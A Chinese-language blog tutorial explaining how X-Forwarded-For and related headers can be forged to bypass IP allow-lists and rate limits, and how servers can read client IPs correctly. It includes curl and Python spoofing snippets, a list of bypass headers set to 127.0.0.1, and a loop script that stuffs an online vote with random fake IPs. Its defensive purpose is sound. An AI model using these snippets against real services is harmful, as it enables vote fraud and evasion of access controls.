伪造X-Forwarded-For绕过服务器IP地址过滤

问题:IP 限制能信吗

很多 Web 应用做 IP 白名单 / 黑名单(投票限 IP、登录失败限速、按地区限制内容等),依赖的就是 HTTP 请求里的"客户端 IP"。但这个 IP 实际上可以被伪造

伪造X-Forwarded-For绕过服务器IP地址过滤

本文讲清楚:

  • 为什么 HTTP 层的 IP 能伪造,TCP/IP 层却不能
  • 怎么伪造
  • 怎么防御

原理:网络层 vs 应用层

正常的 TCP/IP 通信里,要"伪造源 IP" 是困难的 —— 你的 TCP 数据包里写假 IP 发出去,服务器响应包会发到那个假 IP,你根本收不到响应,TCP 连接建立不起来。所以纯 IP 层欺骗对 TCP 不可行。

但是 HTTP 是应用层协议,它跑在 TCP 上。HTTP 请求里有一组 Header,常见的 X-Forwarded-ForX-Real-IPX-Client-IP 等都是用来表示"原始客户端 IP"。这些 Header 是请求里的纯文本字符串,客户端可以随便写

很多服务器应用读这些 Header 来识别"客户端 IP"(尤其是配置在反向代理或 CDN 后面时),这就给了伪造空间。

怎么伪造

最简单 —— curl 加 header:

curl -H "X-Forwarded-For: 1.2.3.4" https://target.com/some-api

Python:

import requests
requests.get('https://target.com/some-api', headers={
    'X-Forwarded-For': '1.2.3.4'
})

如果目标服务器把 X-Forwarded-For 当作客户端 IP 信任,它会以为请求来自 1.2.3.4,绕过基于 IP 的限制。

常见的可伪造 Header

除了 X-Forwarded-For,还有不少 Header 在不同 Web 框架 / 反向代理里都被用作"客户端 IP",都可以试着伪造:

X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1 
X-Forwarded-For: 127.0.0.1 
X-Forwared-Host: 127.0.0.1 
X-Host: 127.0.0.1 
X-Custom-IP-Authorization: 127.0.0.1

实际渗透测试 / Bug Bounty 里,7 个 header 全试一遍是标准操作。

Nginx 是怎么设置 X-Forwarded-For 的

正常情况下 Nginx 反向代理会这么写:

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for

这条 proxy_add_x_forwarded_for 的逻辑:

  • 如果请求 X-Forwarded-For:加一个,值是 $remote_addr(真实客户端 IP)
  • 如果请求 X-Forwarded-For:在末尾追加 $remote_addr

结果是一个逗号分隔的 IP 链:X-Forwarded-For: 1.2.3.4, 192.168.1.1, 10.0.0.1第一个是客户端伪造的(不可信),后面的才是经过的各级代理 IP(可信)

正确的服务端读法

很多人写代码犯的错:直接 request.headers['X-Forwarded-For'],拿到的就是用户伪造的那个 IP。

正确做法:

  1. 知道你前面有几级可信代理(比如 Cloudflare → Nginx → 应用,2 级)
  2. X-Forwarded-For 从右往左数第 2 个 IP 才是真实客户端
  3. 或者用反向代理的特殊 header(CF-Connecting-IP 是 Cloudflare 给的)

Node.js Express 示例:

// app.js
app.set('trust proxy', 2);  // 信任前 2 层代理

app.get('/api', (req, res) => {
    console.log(req.ip);  // Express 会用 trust proxy 算出真实 IP
});

Python Flask:

from werkzeug.middleware.proxy_fix import ProxyFix
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=2)  # 信任 2 层代理

Nginx 配置层面,可以用 real_ip 模块强制覆盖 $remote_addr:

set_real_ip_from 10.0.0.0/8;        # 信任内网代理
set_real_ip_from 172.20.0.0/16;     # 信任 Docker 网络
real_ip_header X-Forwarded-For;
real_ip_recursive on;

防御:别信用户给的 Header

核心原则:HTTP header 是不可信输入。任何依赖 IP 做决策的逻辑都要:

  1. 明确数据来源 —— 是 TCP 层($remote_addr)还是 HTTP 层(X-Forwarded-For)
  2. HTTP 层 IP 只在前面有可信代理时才可信
  3. 取最右边的真实代理 IP(链尾)
  4. 关键操作(登录失败限速)双层防御:IP + 设备指纹 + Captcha

实际案例:投票 / 抽奖系统

很多线上投票限制"每个 IP 只能投一次",但只看 X-Forwarded-For 的话,5 行 Python 就能刷:

import requests
import random

for i in range(100):
    fake_ip = f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
    requests.post('https://vote.example.com/vote',
                  headers={'X-Forwarded-For': fake_ip},
                  data={'option': 'A'})
    print(f"投票 #{i+1} 用 IP {fake_ip}")

真正稳的方案:

  • IP 限制 + Cookie / localStorage 限制 + 浏览器指纹
  • 需要登录账号才能投
  • 滑动验证码 / 人机验证 reCAPTCHA / Cloudflare Turnstile
  • 统计异常流量(同源、同 UA、同时间窗口)

一句话:任何"仅看 IP"的限制都能被绕过,认真的反作弊一定是多维度的

合法用途

本文讲的"伪造 IP"主要是技术原理,合法场景:

  • 渗透测试 / 安全审计(经授权)
  • 调试本地开发服务(模拟不同地区访问)
  • 测试自家服务的 IP 防御逻辑

未经授权对他人服务做这种事是违法的(《刑法》285、286 条,《网络安全法》)。理解原理 + 用在正当地方 = 工程师的边界。

—— 别看了 · 2026
声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理 邮箱1846861578@qq.com。
技术教程

基于Dify的开源AI数字人工具

2024-8-26 14:32:57

技术教程

Cloudflare无服务器超级代理,包含OpenAI/ChatGPT,Github加速

2024-9-18 14:54:50

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索